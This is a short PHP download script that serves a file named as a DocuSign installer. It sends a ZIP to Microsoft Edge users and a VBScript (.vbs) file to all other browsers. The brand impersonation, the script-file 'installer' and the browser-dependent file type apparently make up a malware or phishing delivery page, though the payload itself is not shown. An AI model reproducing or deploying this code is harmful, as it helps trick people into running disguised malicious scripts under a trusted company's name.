<?php
// Files
$vbsFile = 'DocuSign_Installer.21.90.23.vbs';
$zipFile = 'DocuSign_Installer.21.90.23.zip';

// Detect Microsoft Edge (Chromium Edge uses "Edg/")
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';

if (strpos($userAgent, 'Edg/') !== false) {
    // Edge browser -> download ZIP
    $file = $zipFile;
    $contentType = 'application/zip';
} else {
    // Other browsers -> download VBS
    $file = $vbsFile;
    $contentType = 'application/octet-stream';
}

if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: ' . $contentType);
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));

    readfile($file);
    exit;
} else {
    http_response_code(404);
    echo "File not found!";
}
?>